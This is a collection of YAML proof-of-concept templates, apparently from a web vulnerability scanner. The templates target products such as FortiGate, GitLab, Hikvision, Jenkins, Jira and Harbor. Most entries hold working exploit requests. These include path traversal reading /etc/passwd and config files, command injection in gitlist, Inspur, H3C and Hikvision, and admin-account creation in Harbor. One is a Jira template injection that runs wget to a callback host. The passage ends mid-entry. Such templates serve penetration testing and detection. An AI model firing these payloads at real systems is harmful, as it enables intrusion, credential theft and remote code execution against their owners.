WebScan/pocs/fckeditor-info.yml ================================================ name: poc-yaml-fckeditor-info sets: path: - "/fckeditor/_samples/default.html" - "/fckeditor/editor/filemanager/connectors/uploadtest.html" - "/ckeditor/samples/" - "/editor/ckeditor/samples/" - "/ckeditor/samples/sample_posteddata.php" - "/editor/ckeditor/samples/sample_posteddata.php" - "/fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php" - "/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php" rules: - method: GET path: /{{path}} follow_redirects: false expression: | response.body.bcontains(b'FCKeditor') || response.body.bcontains(b'<title>CKEditor Samples') || response.body.bcontains(b'http://ckeditor.com') || response.body.bcontains(b'Custom Uploader URL:') || response.body.bcontains(b'init_spell()') || response.body.bcontains(b"'tip':'") detail: author: shadown1ng(https://github.com/shadown1ng) ================================================ FILE: WebScan/pocs/feifeicms-lfr.yml ================================================ name: poc-yaml-feifeicms-lfr rules: - method: GET path: /index.php?s=Admin-Data-down&id=../../Conf/config.php expression: | response.status == 200 && response.body.bcontains(b"") && response.body.bcontains(b"") detail: author: l1nk3r(http://www.lmxspace.com/) links: - http://foreversong.cn/archives/1378 ================================================ FILE: WebScan/pocs/finereport-v8-arbitrary-file-read.yml ================================================ name: poc-yaml-fineReport-v8.0-arbitrary-file-read rules: - method: GET path: /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"rootManagerName") && response.body.bcontains(b"CDATA") detail: author: Facker007(https://github.com/Facker007) links: - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E5%B8%86%E8%BD%AFOA/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8%20v8.0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CNVD-2018-04757.html?h=%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8 ================================================ FILE: WebScan/pocs/flexpaper-cve-2018-11686.yml ================================================ name: poc-yaml-flexpaper-cve-2018-11686 set: fileName: randomLowercase(6) verifyStr: randomLowercase(6) rules: - method: POST path: /php/change_config.php headers: Content-Type: application/x-www-form-urlencoded body: | SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a expression: | response.status == 302 || response.status == 200 - method: POST path: /php/change_config.php headers: Content-Type: application/x-www-form-urlencoded body: | SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a expression: | response.status == 302 || response.status == 200 - method: GET path: >- /php/setup.php?step=2&PDF2SWF_PATH=printf%20{{verifyStr}}%25%25{{verifyStr}}%20%3e%20{{fileName}} follow_redirects: false expression: | response.status == 200 - method: GET path: >- /php/{{fileName}}pdf2swf expression: | response.status == 200 && response.body.bcontains(bytes(string(verifyStr + "%" + verifyStr))) detail: author: Soveless(https://github.com/Soveless) Affected Version: "FlexPaper <= 2.3.6" links: - https://github.com/mpgn/CVE-2018-11686 - https://cloud.tencent.com/developer/article/1472550 ================================================ FILE: WebScan/pocs/flink-jobmanager-cve-2020-17519-lfi.yml ================================================ name: poc-yaml-flink-jobmanager-cve-2020-17519-lfi rules: - method: GET path: /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd expression: | response.status == 200 && "^root:[x*]:0:0:".bmatches(response.body) detail: author: MaxSecurity(https://github.com/MaxSecurity) links: - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519 ================================================ FILE: WebScan/pocs/fortigate-cve-2018-13379-readfile.yml ================================================ name: poc-yaml-fortigate-cve-2018-13379-readfile rules: - method: GET path: "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" headers: Content-Type: application/x-www-form-urlencoded follow_redirects: true expression: response.body.bcontains(bytes("fgt_lang")) && response.body.bcontains(bytes("Forticlient")) detail: author: tom0li(https://tom0li.github.io/) links: - https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html ================================================ FILE: WebScan/pocs/frp-dashboard-unauth.yml ================================================ name: poc-yaml-frp-dashboard-unauth groups: unauth: - method: GET path: /api/proxy/tcp follow_redirects: true expression: | response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"proxies") defaultpassword: - method: GET path: /api/proxy/tcp follow_redirects: false expression: | response.status == 401 && response.body.bcontains(b"Unauthorized") - method: GET path: /api/proxy/tcp headers: Authorization: Basic YWRtaW46YWRtaW4= follow_redirects: false expression: | response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"proxies") ================================================ FILE: WebScan/pocs/gateone-cve-2020-35736.yml ================================================ name: poc-yaml-gateone-cve-2020-35736 rules: - method: GET follow_redirects: true path: "/" expression: response.status == 200 && response.body.bcontains(b"GateOne.init") && response.body.bcontains(b"href=\"/static/gateone.css\"") - method: GET follow_redirects: false path: "/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: tangshoupu links: - https://nvd.nist.gov/vuln/detail/CVE-2020-35736 ================================================ FILE: WebScan/pocs/gilacms-cve-2020-5515.yml ================================================ name: poc-yaml-gilacms-cve-2020-5515 set: r1: randomInt(200000000, 210000000) rules: - method: GET path: /admin/sql?query=SELECT%20md5({{r1}}) expression: | response.body.bcontains(bytes(md5(string(r1)))) detail: author: PickledFish(https://github.com/PickledFish) links: - https://infosecdb.wordpress.com/2020/01/05/gilacms-1-11-8-admin-sqlquery-sql-injection/ ================================================ FILE: WebScan/pocs/gitlab-graphql-info-leak-cve-2020-26413.yml ================================================ name: poc-yaml-gitlab-graphql-info-leak-cve-2020-26413 rules: - method: POST path: /api/graphql headers: Content-Type: application/json body: |- {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null} expression: |- response.status == 200 && "x-runtime" in response.headers && response.body.bcontains(b"{\"data\":{\"users\":{\"edges\":[{\"node\":{\"username\":\"") && "\",\"email\":\"[^\"]+@[^\"]+\"".bmatches(response.body) detail: author: Print1n(https://github.com/Print1n) description: GitLab Graphql邮箱信息泄露漏洞 CNVD-2021-14193 / CVE-2020-26413 links: - https://fengchenzxc.github.io/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/GitLab/GitLab%20Graphql%E9%82%AE%E7%AE%B1%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E%20CVE-2020-26413/ ================================================ FILE: WebScan/pocs/gitlab-ssrf-cve-2021-22214.yml ================================================ name: poc-yaml-gitlab-ssrf-cve-2021-22214 rules: - method: POST path: /api/v4/ci/lint headers: Content-Type: application/json body: | {"include_merged_yaml": true, "content": "include:\n remote: http://baidu.com/api/v1/targets/?test.yml"} expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"{\"status\":\"invalid\",\"errors\":") && (response.body.bcontains(b"does not have valid YAML syntax") || response.body.bcontains(b"could not be fetched")) detail: author: mumu0215(https://github.com/mumu0215) links: - https://mp.weixin.qq.com/s/HFug1khyfHmCujhc_Gm_yQ ================================================ FILE: WebScan/pocs/gitlist-rce-cve-2018-1000533.yml ================================================ name: poc-yaml-gitlist-rce-cve-2018-1000533 set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) r3: randomLowercase(8) rules: - method: GET path: / search: | (?P.+?) expression: | response.status == 200 && "gitlist".bmatches(response.body) - method: POST path: /{{project_name}}/tree/a/search headers: Content-Type: application/x-www-form-urlencoded body: | query=--open-files-in-pager=echo%20{{r3}}:$(expr%20{{r1}}%20%2b%20{{r2}}):{{r1}}:{{r1}} expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: Print1n(https://print1n.top) description: gitlist 0.6.0 远程命令执行漏洞(CVE-2018-1000533) links: - https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533 ================================================ FILE: WebScan/pocs/glassfish-cve-2017-1000028-lfi.yml ================================================ name: poc-yaml-glassfish-cve-2017-1000028-lfi rules: - method: GET path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF follow_redirects: true expression: | response.status == 200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:") detail: version: <4.1.0 author: sharecast links: - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0 ================================================ FILE: WebScan/pocs/go-pprof-leak.yml ================================================ name: poc-yaml-go-pprof-leak rules: - method: GET path: "/debug/pprof/" expression: | response.status == 200 && response.body.bcontains(bytes(string(b"Types of profiles available"))) && response.body.bcontains(bytes(string(b"Profile Descriptions"))) - method: GET path: "/debug/pprof/goroutine?debug=1" expression: | response.status == 200 && response.body.bcontains(bytes(string(b"goroutine profile: total"))) detail: author: pa55w0rd(www.pa55w0rd.online/) Affected Version: "go pprof leak" links: - https://cloud.tencent.com/developer/news/312276 ================================================ FILE: WebScan/pocs/gocd-cve-2021-43287.yml ================================================ name: poc-yaml-gocd-cve-2021-43287 groups: linux0: - method: GET path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../../../etc/passwd follow_redirects: false expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) windows0: - method: GET path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../../../windows/win.ini follow_redirects: false expression: response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) detail: author: For3stCo1d (https://github.com/For3stCo1d) description: "Gocd-file-read" links: - https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover ================================================ FILE: WebScan/pocs/h2-database-web-console-unauthorized-access.yml ================================================ name: poc-yaml-h2-database-web-console-unauthorized-access rules: - method: GET path: /h2-console follow_redirects: true expression: > response.status == 200 && response.body.bcontains(b"Welcome to H2") search: | location.href = '(?P.+?)' - method: GET path: /h2-console/{{token}} expression: | response.status == 200 && response.body.bcontains(b"Generic H2") detail: author: jujumanman (https://github.com/jujumanman) links: - https://blog.csdn.net/zy15667076526/article/details/111413979 - https://github.com/vulhub/vulhub/tree/master/h2database/h2-console-unacc ================================================ FILE: WebScan/pocs/h3c-imc-rce.yml ================================================ name: poc-yaml-h3c-imc-rce set: r1: randomLowercase(8) r2: randomLowercase(8) r3: randomLowercase(8) r4: randomLowercase(8) rules: - method: POST path: /imc/javax.faces.resource/dynamiccontent.properties.xhtml follow_redirects: false body: | pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=echo%20{{r1}}${{{r2}}}{{r3}}^{{r4}} expression: | response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) detail: author: Print1n(http://print1n.top) links: - https://mp.weixin.qq.com/s/BP9_H3lpluqIwL5OMIJlIw ================================================ FILE: WebScan/pocs/h3c-secparh-any-user-login.yml ================================================ name: poc-yaml-h3c-secparh-any-user-login rules: - method: GET path: /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin expression: | response.status == 200 && "错误的id".bmatches(response.body) && "审计管理员".bmatches(response.body) && "admin".bmatches(response.body) detail: author: Print1n(https://print1n.top) links: - https://www.pwnwiki.org/index.php?title=H3C_SecParh%E5%A0%A1%E5%A3%98%E6%A9%9F_get_detail_view.php_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6%E7%99%BB%E9%8C%84%E6%BC%8F%E6%B4%9E ================================================ FILE: WebScan/pocs/h5s-video-platform-cnvd-2020-67113-unauth.yml ================================================ name: poc-yaml-h5s-video-platform-cnvd-2020-67113-unauth groups: h5s1: - method: GET path: /api/v1/GetSrc expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_AUTO") && response.body.bcontains(b"strUser") && response.body.bcontains(b"strPasswd") h5s2: - method: GET path: /api/v1/GetDevice expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_DEV") && response.body.bcontains(b"strUser") && response.body.bcontains(b"strPasswd") expression: h5s1() || h5s2() detail: author: iak3ec(https://github.com/nu0l) payload: /#/Dashboard | /#/Settings/Camera links: - https://www.cnvd.org.cn/flaw/show/CNVD-2020-67113 ================================================ FILE: WebScan/pocs/hadoop-yarn-unauth.yml ================================================ name: poc-yaml-hadoop-yarn-unauth rules: - method: GET path: /ws/v1/cluster/info follow_redirects: true headers: Content-Type: application/json expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"resourceManagerVersionBuiltOn") && response.body.bcontains(b"hadoopVersion") detail: author: p0wd3r,sharecast links: - https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn ================================================ FILE: WebScan/pocs/hanming-video-conferencing-file-read.yml ================================================ name: poc-yaml-hanming-video-conferencing-file-read groups: windows: - method: GET path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini follow_redirects: false expression: | response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) linux: - method: GET path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd follow_redirects: false expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: kzaopa(https://github.com/kzaopa) links: - https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA ================================================ FILE: WebScan/pocs/harbor-cve-2019-16097.yml ================================================ name: poc-yaml-harbor-cve-2019-16097 set: r1: randomInt(5, 10) r2: randomLowercase(r1) rules: - method: GET path: / expression: response.body.bcontains(b"Harbor") - method: POST path: /api/users headers: Content-Type: application/json body: >- {"username": "{{r2}}", "has_admin_role": true, "password": "{{r2}}", "email": "{{r2}}@example.com", "realname": "{{r2}}"} follow_redirects: false expression: | response.status == 201 detail: author: scanf & Soveless(https://github.com/Soveless) & cc_ci(https://github.com/cc8ci) links: - https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/ - https://github.com/goharbor/harbor/issues/8951 - https://www.freebuf.com/vuls/214767.html ================================================ FILE: WebScan/pocs/hikvision-cve-2017-7921.yml ================================================ name: poc-yaml-hikvision-cve-2017-7921 rules: - method: GET path: /system/deviceInfo?auth=YWRtaW46MTEK follow_redirects: false expression: | response.status == 200 && response.headers["content-type"] == "application/xml" && response.body.bcontains(b"") detail: author: whwlsfb(https://github.com/whwlsfb) links: - https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html ================================================ FILE: WebScan/pocs/hikvision-gateway-data-file-read.yml ================================================ name: hikvision-gateway-data-file-read rules: - method: GET path: /data/login.php::$DATA expression: | response.status == 200 && response.body.bcontains(b'DataBaseQuery();') && response.body.bcontains(b'$_POST[\'userName\'];') && response.body.bcontains(b'$_POST[\'password\'];') info: author: zan8in description: | HIKVISION 视频编码设备接入网关 $DATA 任意文件读取 HIKVISION 视频编码设备接入网关存在配置错误特性,特殊后缀请求php文件可读取源码 title="视频编码设备接入网关" links: - http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20$DATA%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.html ================================================ FILE: WebScan/pocs/hikvision-info-leak.yml ================================================ name: poc-yaml-hikvision-info-leak rules: - method: GET path: / follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"流媒体管理服务器") && response.body.bcontains(b"海康威视") - method: GET path: /config/user.xml follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"$(echo {{r1}}${{{r2}}}{{r3}}^{{r4}}>webLib/{{r4}}) expression: response.status == 500 && response.body.bcontains(b"/SDK/webLanguage") - method: GET path: /{{r4}} headers: Content-Type: application/json;charset=utf-8 expression: response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) - method: PUT path: /SDK/webLanguage headers: X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 body: | $(rm webLib/{{r4}}) expression: response.status == 500 detail: author: york links: - https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html - https://github.com/Aiminsun/CVE-2021-36260 ================================================ FILE: WebScan/pocs/hjtcloud-arbitrary-fileread.yml ================================================ name: poc-yaml-hjtcloud-arbitrary-fileread groups: linux: - method: POST path: /fileDownload?action=downloadBackupFile body: fullPath=/etc/passwd expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: B1anda0(https://github.com/B1anda0) links: - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%B8%AD%E5%88%9B%E8%A7%86%E8%BF%85/%E4%BC%9A%E6%8D%B7%E9%80%9A%E4%BA%91%E8%A7%86%E8%AE%AF%20fileDownload%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html ================================================ FILE: WebScan/pocs/hjtcloud-directory-file-leak.yml ================================================ name: poc-yaml-hjtcloud-directory-file-leak rules: - method: GET path: "/him/api/rest/V1.0/system/log/list?filePath=../" expression: | response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"\"absolutePath\":\"/var/logs/") detail: author: YekkoY description: "会捷通云视讯 list 目录文件泄露漏洞" links: - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%B8%AD%E5%88%9B%E8%A7%86%E8%BF%85/%E4%BC%9A%E6%8D%B7%E9%80%9A%E4%BA%91%E8%A7%86%E8%AE%AF%20list%20%E7%9B%AE%E5%BD%95%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html ================================================ FILE: WebScan/pocs/huawei-home-gateway-hg659-fileread.yml ================================================ name: poc-yaml-huawei-home-gateway-hg659-fileread rules: - method: GET path: /lib///....//....//....//....//....//....//....//....//etc//passwd expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: B1anda0(https://github.com/B1anda0) links: - https://poc.shuziguanxing.com/#/publicIssueInfo#issueId=4210 ================================================ FILE: WebScan/pocs/ifw8-router-cve-2019-16313.yml ================================================ name: poc-yaml-ifw8-router-cve-2019-16313 rules: - method: GET path: >- /index.htm?PAGE=web follow_redirects: false expression: > response.status == 200 && response.body.bcontains(b"www.ifw8.cn") - method: GET path: >- /action/usermanager.htm follow_redirects: false expression: > response.status == 200 && "\"pwd\":\"[0-9a-z]{32}\"".bmatches(response.body) detail: author: cc_ci(https://github.com/cc8ci) Affected Version: "v4.31" links: - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16313 - http://www.iwantacve.cn/index.php/archives/311/ - https://nvd.nist.gov/vuln/detail/CVE-2019-16312 ================================================ FILE: WebScan/pocs/iis-put-getshell.yml ================================================ name: poc-yaml-iis-put-getshell set: filename: randomLowercase(6) fileContent: randomLowercase(6) rules: - method: PUT path: /{{filename}}.txt body: | {{fileContent}} expression: | response.status == 201 - method: GET path: /{{filename}}.txt follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(fileContent)) detail: author: Cannae(github.com/thunderbarca) links: - https://www.cnblogs.com/-mo-/p/11295400.html ================================================ FILE: WebScan/pocs/influxdb-unauth.yml ================================================ name: poc-yaml-influxdb-unauth rules: - method: GET path: /ping follow_redirects: true expression: | response.status == 204 && "x-influxdb-version" in response.headers - method: GET path: /query?q=show%20users follow_redirects: true expression: > response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"columns") && response.body.bcontains(b"user") detail: author: p0wd3r links: - https://docs.influxdata.com/influxdb/v1.7/tools/api/ ================================================ FILE: WebScan/pocs/inspur-tscev4-cve-2020-21224-rce.yml ================================================ name: poc-yaml-inspur-tscev4-cve-2020-21224-rce set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: POST path: /login body: op=login&username=1 2\',\'1\'\);`expr%20{{r1}}%20%2b%20{{r2}}` expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string(r1 + r2))) detail: author: jingling(https://github.com/shmilylty) links: - https://github.com/NS-Sp4ce/Inspur ================================================ FILE: WebScan/pocs/jboss-cve-2010-1871.yml ================================================ name: poc-yaml-jboss-cve-2010-1871 set: r1: randomInt(8000000, 10000000) r2: randomInt(8000000, 10000000) rules: - method: GET path: /admin-console/index.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23%7b{{r1}}*{{r2}}%7d follow_redirects: false expression: | response.status == 302 && response.headers["location"].contains(string(r1 * r2)) detail: author: fuping links: - http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871 ================================================ FILE: WebScan/pocs/jboss-unauth.yml ================================================ name: poc-yaml-jboss-unauth rules: - method: GET path: /jmx-console/ follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"jboss.management.local") && response.body.bcontains(b"jboss.web") detail: author: FiveAourThe(https://github.com/FiveAourThe) links: - https://xz.aliyun.com/t/6103 ================================================ FILE: WebScan/pocs/jeewms-showordownbyurl-fileread.yml ================================================ name: poc-yaml-jeewms-showordownbyurl-fileread groups: linux: - method: GET path: /systemController/showOrDownByurl.do?down=&dbPath=../../../../../../etc/passwd expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) windows: - method: GET path: /systemController/showOrDownByurl.do?down=&dbPath=../../../../../Windows/win.ini expression: | response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: author: B1anda0(https://github.com/B1anda0) links: - https://mp.weixin.qq.com/s/ylOuWc8elD2EtM-1LiJp9g ================================================ FILE: WebScan/pocs/jellyfin-file-read-cve-2021-21402.yml ================================================ name: poc-yaml-jellyfin-file-read-cve-2021-21402 rules: - method: GET path: "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" expression: | response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: author: Print1n(https://github.com/Print1n) links: - https://blog.csdn.net/qq_41503511/article/details/116274406 ================================================ FILE: WebScan/pocs/jenkins-cve-2018-1000600.yml ================================================ name: poc-yaml-jenkins-cve-2018-1000600 set: reverse: newReverse() reverseUrl: reverse.url rules: - method: GET path: /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl={{reverseUrl}} expression: | response.status == 200 && reverse.wait(5) detail: author: PickledFish(https://github.com/PickledFish) links: - https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/ ================================================ FILE: WebScan/pocs/jenkins-cve-2018-1000861-rce.yml ================================================ name: poc-yaml-jenkins-cve-2018-1000861-rce set: rand: randomLowercase(4) rules: - method: GET path: >- /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27{{rand}}%27,%20version=%271%27)%0aimport%20Payload; follow_redirects: false expression: >- response.status == 200 && response.body.bcontains(bytes("package#" + rand)) detail: author: p0wd3r links: - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861 ================================================ FILE: WebScan/pocs/jenkins-unauthorized-access.yml ================================================ name: poc-yaml-jenkins-unauthorized-access set: r1: randomInt(1000, 9999) r2: randomInt(1000, 9999) rules: - method: GET path: /script follow_redirects: false expression: response.status == 200 search: | "Jenkins-Crumb", "(?P.+?)"\); - method: POST path: /script body: | script=printf%28%27{{r1}}%25%25{{r2}}%27%29%3B&Jenkins-Crumb={{var}}&Submit=%E8%BF%90%E8%A1%8C expression: response.status == 200 && response.body.bcontains(bytes(string(r1) + "%" + string(r2))) detail: author: MrP01ntSun(https://github.com/MrPointSun) links: - https://www.cnblogs.com/yuzly/p/11255609.html - https://blog.51cto.com/13770310/2156663 ================================================ FILE: WebScan/pocs/jetty-cve-2021-28164.yml ================================================ name: poc-yaml-jetty-cve-2021-28164 rules: - method: GET path: /%2e/WEB-INF/web.xml follow_redirects: false expression: response.status == 200 && response.content_type == "application/xml" && response.body.bcontains(b"") detail: author: Sup3rm4nx0x (https://github.com/Sup3rm4nx0x) links: - https://www.linuxlz.com/aqld/2309.html ================================================ FILE: WebScan/pocs/jira-cve-2019-11581.yml ================================================ name: poc-yaml-jira-cve-2019-11581 set: reverse: newReverse() reverseUrl: reverse.url rules: - method: GET path: /secure/ContactAdministrators!default.jspa follow_redirects: false expression: | response.status == 200 search: name="atlassian-token" content="(?P.+?)" - method: POST path: /secure/ContactAdministrators.jspa body: >- from=admin%40163.com&subject=%24i18n.getClass%28%29.forName%28%27java.lang.Runtime%27%29.getMethod%28%27getRuntime%27%2Cnull%29.invoke%28null%2Cnull%29.exec%28%27wget+{{reverseUrl}}+%27%29.waitFor%28%29&details=exange%20website%20links&atl_token={{token}}&%E5%8F%91%E9%80%81=%E5%8F%91%E9%80%81 follow_redirects: false expression: | response.status == 302 && reverse.wait(5) detail: author: harris2015(https://github.com/harris2015) Affected Version: "cve-2019-11581" links: - https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html ================================================ FILE: WebScan/pocs/jira-cve-2019-8442.yml ================================================ name: poc-yaml-jira-cve-2019-8442 rules: - method: GET path: "/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml" expression: | response.status == 200 && response.body.bcontains(bytes(string(b"com.atlassian.jira"))) && response.content_type.contains("application/xml") detail: author: pa55w0rd(www.pa55w0rd.online/) Affected Version: "<7.13.4, 8.00-8.0.4, 8.1.0-8.1.1" links: - https://nvd.nist.gov/vuln/detail/CVE-2019-8442 ================================================ FILE: WebScan/pocs/jira-cve-2019-8449.yml ================================================ name: poc-yaml-jira-cve-2019-8449 rules: - method: GET path: 